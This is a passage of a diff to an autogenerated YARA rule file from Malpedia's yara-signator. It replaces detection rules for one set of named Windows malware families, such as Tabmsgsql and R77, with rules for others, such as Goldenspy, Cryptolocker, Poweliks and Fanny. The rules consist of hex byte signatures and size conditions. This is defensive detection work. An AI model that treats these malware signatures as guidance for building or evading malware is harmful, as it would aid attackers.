+		$sequence_6 = { 8d842484000000 68???????? 50 e8???????? 8d8c248c000000 6800040000 8d942490040000 }
+		$sequence_7 = { 83c418 c3 33c0 33c9 68b4000000 89442408 }
+		$sequence_8 = { ff15???????? 8b0e 85c9 7406 8b11 6a01 ff12 }
+		$sequence_9 = { 81ec0c010000 8b842414010000 8b942418010000 57 89442404 b942000000 }
 
 	condition:
-		7 of them and filesize <107520
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Tabmsgsql_Auto : FILE
+rule MALPEDIA_Win_Goldenspy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "95969567-7681-52bb-9f9f-efce304f47a8"
+		id = "2db85832-8503-5134-9cf2-a79f16f8ed47"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tabmsgsql_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.goldenspy_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "7b59d9e77530877005ccccefb5d251d16423422a57046d3f1c0987aa86d57fc9"
+		logic_hash = "45ec0195c1eec86aab8f23405836b0cab0b81ad642d99b8dc40b2feb153827cd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169421,32 +176597,32 @@ rule MALPEDIA_Win_Tabmsgsql_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33c0 f2ae f7d1 2bf9 8bd1 8bf7 8bbc24a4010000 }
-		$sequence_1 = { 8a443901 c0fb02 8a80c8244100 c0e004 02c3 880416 }
-		$sequence_2 = { 8882c8254100 48 42 83f841 }
-		$sequence_3 = { 8bf8 75ce 8b6c2414 8b542418 b8ad8bdb68 }
-		$sequence_4 = { 6804010000 8b842478030000 52 c744242844000000 c744245401010000 8b08 8b400c }
-		$sequence_5 = { f2ae f7d1 49 8d85c8f7ffff }
-		$sequence_6 = { 0f8eb2000000 8b7c2414 0fbe05???????? 33db 8a1c39 3bd8 }
-		$sequence_7 = { ff15???????? b940000000 33c0 bf???????? 68???????? f3ab 68???????? }
-		$sequence_8 = { a1???????? 50 ff15???????? b940000000 33c0 bf???????? }
-		$sequence_9 = { 33c0 8a443901 c0fb02 8a80c8244100 c0e004 02c3 880416 }
+		$sequence_0 = { 0f87e4000000 e9???????? 83c754 837f1000 740f 68???????? 8bcf }
+		$sequence_1 = { 83c0fc 83f81f 0f8777060000 52 51 e8???????? 83c408 }
+		$sequence_2 = { 8b7608 807e0d00 74a8 8b4de8 8b5de4 }
+		$sequence_3 = { e8???????? 8b551c 83fa10 0f82b8fcffff 8b4d08 42 8bc1 }
+		$sequence_4 = { e8???????? 51 68???????? 8bcb e8???????? 8b83c8000000 }
+		$sequence_5 = { 8d4dd8 6a1a 68???????? c745e800000000 c745ec0f000000 c645d800 e8???????? }
+		$sequence_6 = { 57 68???????? e8???????? 8d47ff 83c408 83f804 }
+		$sequence_7 = { 75f2 8b5308 8bf2 8b7b14 0f1f00 8a02 42 }
+		$sequence_8 = { ff75e4 ff461c 8d4628 50 e8???????? 897e30 c7463400000000 }
+		$sequence_9 = { 8b85f8feffff 8b4004 c78405f8feffffb4e24600 8b85f8feffff 8b4804 8d41b0 89840df4feffff }
 
 	condition:
-		7 of them and filesize <163840
+		7 of them and filesize <1081344
 }
-rule MALPEDIA_Win_R77_Auto : FILE
+rule MALPEDIA_Win_Freenki_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "79566c97-5b66-5f14-a1d3-bc9852e6d698"
+		id = "96c9c22a-8c0f-508a-9c8b-2adc585b1381"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.r77"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.r77_auto.yar#L1-L154"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.freenki_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "76c887c6ccc22f9627519af58959f5ccdb37c325ffba24612ced9e4b32cde701"
+		logic_hash = "ea73b0cd02f4881d245e91a02d5574d630e230bb3618aadd7337accb2e33b167"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169460,36 +176636,32 @@ rule MALPEDIA_Win_R77_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 740c 8b4f0c e8???????? 85c0 }
-		$sequence_1 = { 740b 8b0f e8???????? 85c0 }
-		$sequence_2 = { 33c9 4c8d05e3d40000 488d15e4d40000 e8???????? 4885c0 740f }
-		$sequence_3 = { 0f8517030000 488d0d58ad0100 ff15???????? 4885c0 7412 }
-		$sequence_4 = { 4c8d058bfb0000 488b45e0 48c1e820 85c0 755d 8b45e0 }
-		$sequence_5 = { 33d2 660f1344243c 33c9 e8???????? 59 }
-		$sequence_6 = { f7d8 1bc0 40 85c0 750b 46 3b37 }
-		$sequence_7 = { c1fa06 6bc838 8b0495f8a00110 f644082801 7422 8d4508 8975f8 }
-		$sequence_8 = { 745c ffc1 413bc8 72f1 4885ff }
-		$sequence_9 = { 660f58e0 660fc5c400 25f0070000 660f28a050680110 660f28b840640110 660f54f0 660f5cc6 }
-		$sequence_10 = { 7408 8b442430 8bc8 cd29 488d0df6980100 }
-		$sequence_11 = { 03f3 03c3 894508 833e00 7447 8b7df0 8b08 }
-		$sequence_12 = { 488b03 833800 7513 488d15e3a70000 488d0dbca70000 }
-		$sequence_13 = { 33c0 c3 56 e8???????? ff15???????? }
+		$sequence_0 = { 83e03f 6bc830 8b049578394200 c644082801 897de4 c745fcfeffffff }
+		$sequence_1 = { 57 e8???????? 83c404 ff75f8 e8???????? 8bf8 }
+		$sequence_2 = { f7d9 0bc8 51 53 e8???????? ffb504e7ffff 8bd8 }
+		$sequence_3 = { 68???????? 50 ff5110 8b55b8 8b4dcc 2bd1 0f1f440000 }
+		$sequence_4 = { 6bd830 8b04bd78394200 f644032801 7444 837c0318ff 743d e8???????? }
+		$sequence_5 = { e8???????? 8b3d???????? 33db 0f1f8000000000 8d853cd4ffff 50 }
+		$sequence_6 = { 64a300000000 8bf1 89b5e4edffff 33c0 c785c0edffff00000000 }
+		$sequence_7 = { 6bce4c 53 0f100419 0f1100 e8???????? 8b4dfc 83c404 }
+		$sequence_8 = { 68???????? ffb5e0f9ffff ff15???????? f7d8 5e }
+		$sequence_9 = { dd00 ebc6 c745e0b8de4100 e9???????? c745e0c0de4100 e9???????? }
 
 	condition:
-		7 of them and filesize <350208
+		7 of them and filesize <327680
 }
-rule MALPEDIA_Win_Computrace_Auto : FILE
+rule MALPEDIA_Win_Poweliks_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4429b6f7-4609-5864-be9b-bd86b296052a"
+		id = "14491e8d-2d96-5692-9946-38a18e40eb85"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.computrace_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poweliks_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "d8751f69a58562c91660e3060ff3b6e112f846c07b191aab11a4034542037b61"
+		logic_hash = "38ca9b6ecbf4df7389b1ea24aaf1d7d4d015a732f44c61342f6c9c25d4c2ea48"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169503,32 +176675,32 @@ rule MALPEDIA_Win_Computrace_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff75cc e8???????? 3975e4 753a }
-		$sequence_1 = { e8???????? 8a4002 8b0d???????? 8801 ff35???????? }
-		$sequence_2 = { 740e 837de400 7408 037de4 897dd8 eba6 8b4514 }
-		$sequence_3 = { 7503 800e08 e8???????? 894604 ff750c 8f4618 }
-		$sequence_4 = { e30d 83c00a 51 ff750c 50 e8???????? }
-		$sequence_5 = { e8???????? 837de400 0f8593feffff 8b86481b0000 83786c00 0f8483feffff }
-		$sequence_6 = { 8b7508 80665cfe 33c0 8945fc 8845fb 6689461a 48 }
-		$sequence_7 = { 7414 c745dc01000000 897d8c 6af1 }
-		$sequence_8 = { e8???????? 8945e4 3bc6 7417 }
-		$sequence_9 = { ff15???????? f7d8 1bc0 40 57 }
+		$sequence_0 = { eb0b 8b5118 ebc9 8b5dec 8b75e8 8b45f8 8b0c87 }
+		$sequence_1 = { c745b4726f6341 c745b864647265 66c745bc7373 c645be00 8bc8 57 }
+		$sequence_2 = { 83ff0c 7439 3bc8 75ce 8b5508 }
+		$sequence_3 = { 8d5598 33ff 2bf2 8d147e 8a541598 32547d98 }
+		$sequence_4 = { 7415 8b7d08 8b720c 81c704110000 03f7 8b7a04 }
+		$sequence_5 = { 663b4b06 7333 8b4a08 8b32 3bce 7602 8bce }
+		$sequence_6 = { 33c9 663b4b06 7333 8b4a08 8b32 3bce 7602 }
+		$sequence_7 = { 57 0fb65dfe 81e307000080 7905 4b }
+		$sequence_8 = { 8b3486 8365fc00 03ca 894df4 8d45d0 03f2 2945f4 }
+		$sequence_9 = { 3a5c0db0 7506 40 83f80f }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <115712
 }
-rule MALPEDIA_Win_Httpsuploader_Auto : FILE
+rule MALPEDIA_Win_Mariposa_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "be17d448-1d90-5f75-8f13-d63b39944dc3"
+		id = "2a3a2192-1985-5afb-a3c8-457f3f4c729c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpsuploader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.httpsuploader_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mariposa_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "5be7e6e5938fcb4fa9787510fb0867a1f442345e4d8453db75c177a24413afa4"
+		logic_hash = "343ac33f57cd9cc9bfc1841bf1bd211734de245f417ee554220587a46ed4086f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169537,37 +176709,37 @@ rule MALPEDIA_Win_Httpsuploader_Auto : FILE
 		signator_config = "callsandjumps;datarefs;binvalue"
 		malpedia_rule_date = "20231130"
 		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { 33ff 33d2 41b806020000 6689bc2470020000 e8???????? 488d4c2451 33d2 }
-		$sequence_1 = { 33d2 33c9 897c2428 48895c2420 ff15???????? eb3b 488d0dc3bd0000 }
-		$sequence_2 = { 4883ec20 488bfa 488bd9 488d0501700000 488981a0000000 83611000 }
-		$sequence_3 = { 4c8bc0 418bd4 e8???????? 488d8dd0000000 ff15???????? }
-		$sequence_4 = { 488d0d6c280000 4533c9 ba00000040 4489442420 ff15???????? }
-		$sequence_5 = { 4c8d25cf7d0000 f0ff09 7511 488b8eb8000000 493bcc }
-		$sequence_6 = { 488d0543b50000 eb04 4883c014 4883c428 c3 4053 }
-		$sequence_7 = { 488d158e380000 488bc8 ff15???????? 4885c0 0f847a010000 }
-		$sequence_8 = { 81fa01010000 7d13 4863ca 8a44191c 4288840170fa0000 }
-		$sequence_9 = { 745e 6666660f1f840000000000 488b0d???????? 488d542440 4533c9 4533c0 ff15???????? }
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 55 8bec 53 56 bb???????? 43 }
+		$sequence_1 = { ffd3 33c0 50 e8???????? 33c0 }
+		$sequence_2 = { 53 56 bb???????? 43 }
+		$sequence_3 = { 885c0cff e2f1 ba???????? 2bd6 8bdc 03da 4b }
+		$sequence_4 = { 8a1c0e 02d8 32dc fec0 885c0cff e2f1 }
+		$sequence_5 = { 8bdc 03da 4b 54 ffd3 33c0 }
+		$sequence_6 = { 885c0cff e2f1 ba???????? 2bd6 }
+		$sequence_7 = { 8a4301 8a6302 f6d0 02c4 d0f8 8a1c0e }
+		$sequence_8 = { 53 56 bb???????? 43 803b00 }
+		$sequence_9 = { 03da 4b 54 ffd3 33c0 }
 
 	condition:
-		7 of them and filesize <190464
+		7 of them and filesize <311296
 }
-rule MALPEDIA_Win_Rhino_Auto : FILE
+rule MALPEDIA_Win_Plaintee_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "11a60875-723d-53d2-ab23-e9023e9a450c"
+		id = "e3bbe66b-b26a-510d-8a1b-05b2e6f7426c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhino"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rhino_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.plaintee_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "06d154dd08a9cc876dd4f55564b3f05b1da55b4793bd9c16429a3bb1cbe16dda"
+		logic_hash = "8bcc878fa501588c97ae4d4926e84d32a4619fd799353944068271d6d4e36727"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169581,32 +176753,32 @@ rule MALPEDIA_Win_Rhino_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4160 c3 6a40 58 c3 b8???????? e8???????? }
-		$sequence_1 = { c745f00f000000 885ddc 53 be04010000 895dfc 56 8d4ddc }
-		$sequence_2 = { c1c105 8b400c 89442440 8bc5 034c2440 33c3 23c6 }
-		$sequence_3 = { 2b16 b8ffffff03 c1fa06 2bc2 3bc1 7217 8d040a }
-		$sequence_4 = { e8???????? 8bf9 897df0 8b7508 8d4f0c c74704???????? 56 }
-		$sequence_5 = { e8???????? 895d60 897d64 8b06 8d4de0 51 8bce }
-		$sequence_6 = { 890496 85c9 75e6 42 3b54240c 72ec 33c0 }
-		$sequence_7 = { 74af 8b4634 8d4d08 51 50 50 894508 }
-		$sequence_8 = { 5e 64890d00000000 c9 c3 8b514c 395148 57 }
-		$sequence_9 = { 8b4f14 8b4114 3b410c 7507 8bcf e8???????? 33c0 }
+		$sequence_0 = { 8d4c2404 6a00 8d542404 51 52 ffd0 8b4c2400 }
+		$sequence_1 = { 8bf1 6802020000 ff15???????? 85c0 740a b001 }
+		$sequence_2 = { 50 8d853c010000 50 8b8538010000 6a5a 52 }
+		$sequence_3 = { 8d442400 56 50 8bf1 6802020000 ff15???????? }
+		$sequence_4 = { 5e 81c490010000 c3 8bce }
+		$sequence_5 = { 85f6 74c6 8bce e8???????? }
+		$sequence_6 = { f3ab 66ab b900010000 33c0 }
+		$sequence_7 = { eb02 33f6 8bce e8???????? 8a8669010000 }
+		$sequence_8 = { 68ac010000 e8???????? 83c404 85c0 7412 }
+		$sequence_9 = { 750a b001 5e 81c490010000 c3 }
 
 	condition:
-		7 of them and filesize <1288192
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Newposthings_Auto : FILE
+rule MALPEDIA_Win_Mailto_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d2908836-d6a9-5323-a30e-68bb82428f91"
+		id = "ea0d0ed3-d3ad-5738-b388-39bdea82080a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.newposthings_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mailto_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "aacccdc30f2a004211f7fc15df6e0bf41cf9693ce7a4e367dede73ae07376ff4"
+		logic_hash = "f253c860f2dfd876ea6c63e66e3d4bfe3e95a5b5178079f30b977b373576f89e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169620,32 +176792,32 @@ rule MALPEDIA_Win_Newposthings_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8a4601 3c30 7c04 3c39 7e0a 3c3d 7406 }
-		$sequence_1 = { 7423 3d00000400 7550 80c980 884c3704 8b0c9d481d0210 8a443124 }
-		$sequence_2 = { 83e61f 8b0485481d0210 c1e606 80643004fd 8b45f8 8b55fc 5f }
-		$sequence_3 = { ff7510 ff750c 56 6843120110 e8???????? 83c418 85c0 }
-		$sequence_4 = { 83c602 663906 74f8 6a03 56 68548e0110 e8???????? }
-		$sequence_5 = { 50 c644245c00 8bce e8???????? 8bf0 eb02 33f6 }
-		$sequence_6 = { e8???????? 50 8bcb e8???????? c745fc00000000 c745f001000000 8bc3 }
-		$sequence_7 = { 8b049538f34500 47 ff3418 ff15???????? 85c0 750a ff15???????? }
-		$sequence_8 = { 83c204 8955e0 eb86 890cb538f34500 }
-		$sequence_9 = { e8???????? c745fc00000000 83ec18 8bcc 896588 6aff }
+		$sequence_0 = { 47 3bfb 7297 8b44241c 8930 8b442420 85c0 }
+		$sequence_1 = { 83c404 85f6 7429 85ed 7419 8b742414 }
+		$sequence_2 = { 8b442418 8938 8b44241c 85c0 7402 8930 }
+		$sequence_3 = { 55 56 57 8b7c2424 c744241400000000 85ff 7457 }
+		$sequence_4 = { 85f6 0f8477010000 e8???????? 3b7014 0f8469010000 8b0d???????? 85c9 }
+		$sequence_5 = { 8b08 ff5130 85c0 7822 ff74242c e8???????? }
+		$sequence_6 = { 897c242c 8bc8 89442420 c1f81a c1f91f 23c8 8bc1 }
+		$sequence_7 = { 40 eb64 83ff01 7522 0fb6d1 bf02000000 83e203 }
+		$sequence_8 = { 0fb6466b 884118 0fb6466f 88411c 0fb64652 884101 0fb64656 }
+		$sequence_9 = { 0f84ef000000 6a20 e8???????? 83c404 89442410 85c0 }
 
 	condition:
-		7 of them and filesize <827392
+		7 of them and filesize <180224
 }
-rule MALPEDIA_Win_Thumbthief_Auto : FILE
+rule MALPEDIA_Win_Scieron_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "37aaa405-1531-5214-b674-b08465e47533"
+		id = "f9adad1f-0463-5c84-9844-b56939af8a07"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.thumbthief_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scieron_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "f526be6ecad90c989de9ad949776796071b33db6ed80435843c6bf3aac7a3492"
+		logic_hash = "0253954720ef9ca79516bb585b52e8d461b9169ed80f649da26edf6b8044019f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169659,32 +176831,32 @@ rule MALPEDIA_Win_Thumbthief_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 689c000000 b8???????? e8???????? 33db 8d4db4 895dec }
-		$sequence_1 = { f6431002 0f85e1000000 85f6 0f44f3 89758c b800040000 66854310 }
-		$sequence_2 = { ffb58cfeffff 8d8d30ffffff e8???????? 8d8de0feffff 807def00 7408 ffb5acfeffff }
-		$sequence_3 = { f20f1085ecfeffff 8d8574ffffff 51 51 f20f110424 50 8d85f4feffff }
-		$sequence_4 = { e8???????? c645fc02 8d8d58ffffff e8???????? c645fc03 8d8d18ffffff e8???????? }
-		$sequence_5 = { bf48030000 8d85a4fcffff 57 6a00 50 e8???????? 83c40c }
-		$sequence_6 = { eb77 68???????? eb70 68???????? eb69 8bc3 2d04130400 }
-		$sequence_7 = { ff75f8 85c0 743c ff75f4 ba07000000 8bcf e8???????? }
-		$sequence_8 = { e8???????? b8???????? e9???????? 8d4ddc e9???????? 8d4dbc e9???????? }
-		$sequence_9 = { ff15???????? 8b4704 5f 85c0 740a 894508 5d }
+		$sequence_0 = { 8bc6 ff75f8 e8???????? 59 59 }
+		$sequence_1 = { 57 ff7508 8d859cf9ffff 68???????? }
+		$sequence_2 = { 68???????? ff15???????? 50 ffd3 ffd0 807d0c02 742a }
+		$sequence_3 = { 8bec 83e4f8 b81c800000 e8???????? 53 }
+		$sequence_4 = { 897574 ff15???????? 8d4574 50 56 56 }
+		$sequence_5 = { eb65 8b4734 50 894574 8d472c 50 }
+		$sequence_6 = { 8bf8 85ff 7418 8d45fc }
+		$sequence_7 = { 40 40 663938 75df }
+		$sequence_8 = { 033e 68???????? 68???????? ff15???????? }
+		$sequence_9 = { 83a61c02000000 33c0 40 5f 5d }
 
 	condition:
-		7 of them and filesize <4235264
+		7 of them and filesize <100352
 }
-rule MALPEDIA_Win_Bs2005_Auto : FILE
+rule MALPEDIA_Win_Cryptolocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ef8c48f9-bc67-59c3-a57f-caa042b605de"
+		id = "ef7778bc-4b3f-57b9-be94-b68bbd4e0a82"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bs2005_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptolocker_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "31d800fc437e882f8e75451d429896908d917d51b135f51d420139339a52e53c"
+		logic_hash = "308de5ca9cd2927cd67ef4efc7cb0917b58e872fb565dc9ff1066d1520a7dec9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169698,32 +176870,32 @@ rule MALPEDIA_Win_Bs2005_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 85c0 0f845f030000 8b500c }
-		$sequence_1 = { 7505 b83f000000 8d5abf 83c9ff 80fb19 771c 0fbeca }
-		$sequence_2 = { 51 50 8b02 83c041 50 e8???????? 8b974c060000 }
-		$sequence_3 = { 8b02 8a9049000400 8b8f54060000 889111010000 }
-		$sequence_4 = { 51 c645c800 e8???????? 83c40c b9???????? 8d8324010000 8da42400000000 }
-		$sequence_5 = { eb09 3c2f 7505 b93f000000 8d5abf 83c8ff 80fb19 }
-		$sequence_6 = { 50 8d9500ffffff 52 68???????? e8???????? 6804010000 6a00 }
-		$sequence_7 = { ffd6 33c0 68???????? 8d4dec 68???????? 51 8945ec }
-		$sequence_8 = { 8945f8 3b45f0 7cea 8b4510 }
-		$sequence_9 = { 8d419f 3c19 7708 0fbef1 83ee47 eb25 }
+		$sequence_0 = { 8d4a9f 6683f905 770f c1e004 }
+		$sequence_1 = { 0f858f000000 a1???????? 85c0 7509 }
+		$sequence_2 = { 898431ecfeffff 8b4ee8 85c9 740e 8b01 }
+		$sequence_3 = { ff7720 56 ff15???????? 8b4510 8b4b04 5f 5e }
+		$sequence_4 = { 7405 83f802 7549 85c9 }
+		$sequence_5 = { 8b75fc 33c9 85c0 0f48f1 7522 85f6 781e }
+		$sequence_6 = { c20800 55 8bec 83ec08 53 56 8b7508 }
+		$sequence_7 = { 8b4ee8 85c9 740e 8b01 6a01 8b4004 03c8 }
+		$sequence_8 = { 55 8bec 56 8b750c 8d8600ffffff 83f801 7723 }
+		$sequence_9 = { 0fb7044a 83f820 740f 83f809 7205 83f80d }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <778240
 }
-rule MALPEDIA_Win_Heyoka_Auto : FILE
+rule MALPEDIA_Win_Fanny_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "86cada76-df01-530f-8812-d25a9cd3eeea"
+		id = "cd0c75da-8b4c-5363-98ec-15a67064033c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heyoka"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.heyoka_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fanny"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fanny_auto.yar#L1-L171"
 		license_url = "N/A"
-		logic_hash = "a93bcd2aa0b2cb88631752f25ba4416145dab56370097ba7d811f589f6be863b"
+		logic_hash = "415f51a7b92a8dd2e587e9f69b01a611a89ad0fc5dace80d2d81091a3ef0d182"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -169737,34 +176909,40 @@ rule MALPEDIA_Win_Heyoka_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4d0c 8b510c 83c204 52 8b45fc 50 }
-		$sequence_1 = { c745f800000000 c745f000000000 c745f400000000 c745ec00000000 8b4514 6bc005 c1e803 }
-		$sequence_2 = { 8b45dc 50 e8???????? 83c410 8945d8 837dd800 750c }
-		$sequence_3 = { 83ec08 894df8 8b45f8 c700???????? 8b4df8 c7810c09000000000000 8b55f8 }
-		$sequence_4 = { e8???????? 83c408 8b5518 52 8b45dc 83c004 }
-		$sequence_5 = { e8???????? 83c408 eb17 837d0803 7511 68???????? }
-		$sequence_6 = { 8bec 83ec08 8b4508 50 6a01 e8???????? 83c408 }
-		$sequence_7 = { 7423 8bce 8bc6 c1f905 83e01f 8b0c8da0d80110 }
-		$sequence_8 = { 51 e8???????? 83c404 8b45e0 83c00c 8be5 }
-		$sequence_9 = { 8955f8 8b45fc 8b4df4 8b55f8 0faf948134e30000 8b4df4 8bc2 }
+		$sequence_0 = { 8b45c0 85c0 7422 8935???????? 6a00 }
+		$sequence_1 = { 8955d0 0fb645cf 3de9000000 7423 0fb64dcf }
+		$sequence_2 = { 8b4dfc 8b11 52 ff15???????? 85c0 7502 }
+		$sequence_3 = { 53 ff15???????? 8bf0 83c420 85f6 0f846a010000 }
+		$sequence_4 = { 8b450c 8945d4 c745c400000000 8b4dc4 3b4dd0 7d26 6a00 }
+		$sequence_5 = { 53 ff15???????? 8bf0 85f6 7420 6a03 }
+		$sequence_6 = { eb05 1bc0 83d8ff 85c0 7517 8b842418010000 }
+		$sequence_7 = { eb57 8b450c 8a4dd0 88481f 8b55d0 52 8b4510 }
+		$sequence_8 = { 8b4dfc c7410c00000000 ff15???????? 8b55fc }
+		$sequence_9 = { 53 ff15???????? be00000200 56 }
+		$sequence_10 = { 5b c9 c3 80a5dcfeffff00 }
+		$sequence_11 = { 50 e8???????? 83c424 eb03 8b7508 }
+		$sequence_12 = { 53 ff15???????? 8d85e8fdffff 50 ff15???????? }
+		$sequence_13 = { 6800400000 6a00 ff15???????? 897c2410 56 }
+		$sequence_14 = { 53 ff15???????? 8bf0 59 85f6 0f84e9000000 8a4508 }
+		$sequence_15 = { 33c0 83e103 f3a4 8b13 8b4d00 85d2 760e }
 
 	condition:
-		7 of them and filesize <270336
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Etumbot_Auto : FILE
+rule MALPEDIA_Win_Meow_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "73e6da41-e3d5-504c-8c80-6f8ec05bab3e"
+		id = "3f4c85a0-7273-573d-9e5f-b6afea896e94"
